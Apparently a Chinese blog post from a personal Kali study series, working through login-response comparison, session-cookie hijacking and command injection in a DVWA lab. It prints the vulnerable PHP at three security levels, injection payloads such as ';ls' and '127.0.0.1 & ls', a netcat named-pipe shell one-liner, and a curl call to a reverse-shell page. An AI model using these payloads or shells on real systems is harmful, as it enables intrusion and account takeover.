Kali学习笔记30:身份认证与命令执行漏洞
文章的格式也许不是很好看,也没有什么合理的顺序
完全是想到什么写一些什么,但各个方面都涵盖到了
能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道
实验环境:
Kali机器:192.168.163.132
Metasploitable靶机:192.168.163.129
首先我们要尝试身份认证(登陆):
就拿DVWA来测试
启动Burpsuite,访问DVWA:
假设我们现在不知道这里的用户名和密码是多少:
现在我先把密码故意输错:

发现DVWA只是告诉我登陆失败,却并没有告诉我哪里失败,为什么会失败
说明DVWA在身份认证方面还做得不错,如果是一些没有安全意识的程序猿,可能会返回密码错误的界面
然后我们输入正确的密码,用Burp进行比较:
发现返回的结果除了重定向页面和时间基本一致:说明DVWA做的比较好

如果正确和失败返回的结果有不同之处,那么我们就可以利用这里的漏洞来爆破
但是,如果我们想尽办法还是登陆不上去呢?
这时候可以想象Cookie方面有没有可以利用的?
如何获取SessionID:
第一种:XSS,这种后面具体介绍
第二种:通过Get或者Post传递的SessionID
做得不好的Web应用,有可能直接把SessionID放在URL上,利用社会工程学获取后直接就可以利用
稍微有点安全意识的程序猿,会把SessionID利用POST提交,利用嗅探还是可以获取:
示例:
我用Windows机器作为正常的管理员登陆Metasploitable:
登陆之后,我查看到Cookie里面的SessionID:
这里是做演示的,具体的如何获取SessionID我会在后边的过程进行演示

然后我就可以用这里的Cookie使Kali机器直接以Windows机器的身份来登陆
可以利用Kali的Firefox的Cookie Manager插件进行Cookie编辑:

当然也可以复制出来SessionID,然后我把它组装好
让Kali使用Burp发送

同时:我们需要更仔细地关注SessionID,它的有效时间,规律等
比如:
点击logout后,sessionID是否会消失
关闭浏览器,sessionID是永久小时还是只改变了状态
然而SessionID其实本质是算法生成的,那么我们就可以使用Burp的Sequence模块来测试
我前面的文章就有提到过,然后就可以针对来生成下一个SessionID,从而做很多的事情
下面,假设我们已经登陆进入了目标:
接下来就可以用我前面文章中写到的一些自动化扫描工具进行Web漏洞扫描
或者继续进行手动挖掘:
下面来看第二种漏洞:
命令执行:
我先把DVWA的安全性调到最低
这里有一个应用:输入一个IP地址,Ping目标,返回结果
我先演示下这里的漏洞,下面具体说:
我尝试输入ls命令:没有反应

那么ls加入分号呢?
结果执行了ls命令

我用Burp来对比两次的请求:
发送请求的时候对分号进行了URL编码

那么,我们如何去发现命令执行漏洞呢?
首先,我们要了解很多的常见漏洞类型
当有一个可以提交数据的表单时候,就要联想到是否有可能发现能够利用的漏洞?
就比如说是这里:
调用操作系统Ping命令而且要返回值,我想到如果用PHP实现比较复杂
那么有可能是目标直接条用系统命令吗?如果是偷懒的程序猿有可能会直接来调用系统命令
首先我输入正常的IP,看看结果:

返回值竟然和系统直接Ping命令格式一致

于是我更进一步可以确认,这里很有可能有命令执行漏洞
首先尝试直接ls命令,上边尝试了,但是没有结果
那我为什么后边又加入了;呢?
然后结合Linux系统的知识:如果想一次执行多条命令,可以使用;或者|
于是,我考虑加入“;”之后再输入命令:果然

实际中如果发现了这种漏洞,就可以用Burp发送提权命令等等
查看源码:
 <?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    } else { 
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    }
}
?> 
简单分析:获取的变量直接给Target复制,然后执行系统命令,存在漏洞
接下来把DVWA的安全性调到中:
这时候如果输入;ls或者&&符号时候,并不会执行系统命令
查看源码:
 <?php
if( isset( $_POST[ 'submit'] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    } else { 
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    }
}
?> 
仔细观察后发现原来是把“;”和“&&”特殊符号都变成空字符了(&&表示前一个命令执行成功后执行后一个命令)
然而对吗漏掉了|这个符号,如果输入|ls还是可以的
或者使用一个&,Linux中使用一个&代表两条命令一起执行:
127.0.0.1 & ls

或者使用两个|,即||,也可以作到,不过需要前一个命令执行失败,再执行后一个命令:

那么将DVWA高安全级别呢?
尝试了各种各样的字符后发现还是没有漏洞
查看源码:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST["ip"];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode(".", $target);
    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {
    // If all 4 octets are int's put the IP back together.
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        } else { 
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        }
    }
    else {
        echo '<pre>ERROR: You have entered an invalid IP</pre>';
    }
}
?> 
它这里是如何判断的呢?
收到的数据然后进行拆分,拆分后四个部分如果是数字,再进行组合,生成一个IP
就算了系统命令用.来分割,但是由于不是数字,不会重组
所以调整到高安全级别基本就是安全的一个应用了
回到刚才在低安全级别下的状态:
我已经找到这里有命令执行的漏洞了
那么怎么做进一步的操作呢?
比如:开启
mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp > /tmp/pipe
输入后使用nc连接:得到shell

但是注意:这里获得的权限不是root
最后看一个有趣的现象:
本意:
把Kali系统的反连Shell脚本复制到Apache服务器,重命名为1.php,是目标访问1.php从而获得shell

对反连shell进行编辑:设置号反连的IP,比如这里我设置的是Kali机器

然后启动Apache服务:

这时候命令执行的表单填写内容:
;curl http://192.168.163.132/1.php
提交前nc监听端口,点击按钮,然后获取shell:

结果我仔细观察后发现获取的是我Kali本机的shell!!
原因:
1.php本质是存在于Kali机器的,所以访问1.php就会让Kali机器把shell发出,再让本机收到shell
上一篇中我把1.php的内容复制出来,用Burp发送出去,1.php的内容是在目标机器上执行的,与这种情况不一样
所以要注意:
反连shell脚本在哪个机器就会反弹哪个机器的shell
Kali学习笔记30:身份认证与命令执行漏洞的更多相关文章
- MVC4学习笔记之--身份认证过滤器
		
过滤器作为MVC模式中面向切面编程应用很广泛,例如身份验证,日志,异常,行为截取等.博客园里面的大神对应过滤器的介绍以及很多,MVC4中不同的过滤器也介绍得很清楚.FlyDragon 辉太 禁止吸烟 ...
 - Asp-Net-Core学习笔记:身份认证入门
		
前言 过年前我又来更新了~ 我就说了最近不是在偷懒吧,其实这段时间还是有积累一些东西的,不过还没去整理-- 所以只能发以前没写完的一些笔记出来 就当做是温习一下啦 PS:之前说的红包封面我还没搞,得抓 ...
 - Kali学习笔记21:缓冲区溢出实验(漏洞发现)
		
上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...
 - 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
		
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
 - Linux防火墙iptables学习笔记(三)iptables命令详解和举例[转载]
		
Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载 网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...
 - FastJson远程命令执行漏洞学习笔记
		
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
 - ARM9嵌入式学习笔记(1)-Linux命令
		
ARM9嵌入式学习笔记(1)-Linux命令 实验1-1-2 Linux常见命令使用 添加用户useradd smb; 设置账户密码passwd smb; 切换用户su - root 关机命令shut ...
 - ASP代码审计学习笔记 -4.命令执行漏洞
		
命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...
 - 风炫安全web安全学习第三十节课 命令执行&代码执行基础
		
风炫安全web安全学习第三十节课 命令执行&代码执行基础 代码执行&命令执行 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 ...
 
随机推荐
- angular使用Md5加密
			
一.现象 用户登录时需要记住密码的功能,在前端需要对密码进行加密处理,增加安全性 二解决 1.利用npm(如果没有,先自行安装npm)安装ts-md5 npm install ts-md5 --sav ...
 - 解决Dynamic Web Module 3.1 requires Java 1.7 or newer
			
需要检查和确认Eclipse项目属性的java版本和本地jdk的版本一致,以1.7版本为例: 1. 在 Java Build Path的libraries中修改对应的JDK版本为1.7: 2.在Jav ...
 - 分析easyswoole3.0源码,协程连接池(五)
			
连接池的含义,很多都知道,比如mysql的数据库连接是有限的,一开始连接mysql创建N个连接,放到一个容器里,每次有请求去容器中取出,取出用完再放回去. es3demo里,有mysql的连接池. E ...
 - 《C++实践之路.pdf》源码
			
> 源码下载方法 < >> 打开微信 >> 扫描下方二维码 >> 关注林哥私房菜 >> 输入对应编号获取百度网盘提取密码 全书源码[已更新完 ...
 - svn如何根据提交日志信息回退版本
			
问题场景: 1 记得提交的日志信息中包含openssl,但是不记得这次提交的版本号revesion,是svn初始化后中间的某次提交: 2 svn环境的操作系统平台为Fedora, 即命令行下:而且sv ...
 - L2范数的相关求解
			
https://blog.csdn.net/u010725283/article/details/79212762
 - ASCII, Unicode, UTF-8, 8进制, 16进制等各种编码学习理解笔记
			
字符编码的发展历史 Unicode和UTF-8有何区别? 在这个问题下的于洋的最高票回答中,比较完整地介绍了字符编码的发展历史,为了便于记忆,再次简要概括一番. 一个字节:最初一个字节的标准是混乱的, ...
 - Apache Sling
			
最新打算研究下 Apache Sling ,在此记录下过程~ 官网地址 Apache Sling - Bringing Back the Fun! 带回快乐 Apache Sling™ is an i ...
 - babel简介
			
1.babel是什么 babel官网正中间一行黄色大字写着“babel is a javascript compiler”,翻译一下就是babel是一个javascript转译器.为什么会有babel ...
 - CSS追加笔记
			
box-shadow 属性向框添加一个或多个阴影. 语法 box-shadow: h-shadow v-shadow blur spread color inset;注释:box-shadow 向框添 ...